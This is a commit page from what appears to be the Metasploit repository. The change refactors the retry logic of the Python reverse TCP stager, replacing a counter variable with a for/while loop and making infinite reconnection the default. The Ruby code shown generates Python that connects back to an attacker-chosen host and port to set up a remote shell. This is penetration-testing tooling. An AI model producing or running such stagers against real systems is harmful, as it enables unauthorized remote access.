Skip to content

Commit 92a1a3e

Browse files
committed
Adding for loop instead of while, removing 'counter'
1 parent 3a1ed19 commit 92a1a3e

File tree

3 files changed

+8
-7
lines changed

3 files changed

+8
-7
lines changed

lib/msf/core/payload/python/reverse_tcp.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ module Payload::Python::ReverseTcp
1919
def initialize(*args)
2020
super
2121
register_advanced_options([
22-
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 1]),
22+
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 0]),
2323
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts'])
2424
], self.class)
2525
end
@@ -53,23 +53,24 @@ def transport_config(opts={})
5353
def generate_reverse_tcp(opts={})
5454
# Set up the socket
5555
cmd = "import socket,struct#{opts[:retry_wait].to_i > 0 ? ',time' : ''}\n"
56-
cmd << "counter = 0\n"
5756
if opts[:retry_wait].blank? # do not retry at all (old style)
5857
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
5958
cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
6059
else
61-
cmd << "while counter<#{opts[:retry_count].to_i}:\n"
60+
if opts[:retry_count]>0
61+
cmd << "for x in range(#{opts[:retry_count].to_i}):\n"
62+
else
63+
cmd << "while 1:\n"
64+
end
6265
cmd << "\ttry:\n"
6366
cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
6467
cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
6568
cmd << "\t\tbreak\n"
6669
cmd << "\texcept:\n"
6770
if opts[:retry_wait].to_i <= 0
68-
cmd << "\t\tcounter=counter+1\n"
6971
cmd << "\t\tpass\n" # retry immediately
7072
else
7173
cmd << "\t\ttime.sleep(#{opts[:retry_wait]})\n" # retry after waiting
72-
cmd << "\t\tcounter=counter+1\n"
7374
end
7475
end
7576
cmd << py_send_uuid if include_send_uuid

modules/payloads/stagers/python/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 378
14+
CachedSize = 362
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 482
14+
CachedSize = 466
1515

1616
include Msf::Payload::Stager
1717
include Msf::Payload::Python

0 commit comments

Comments
 (0)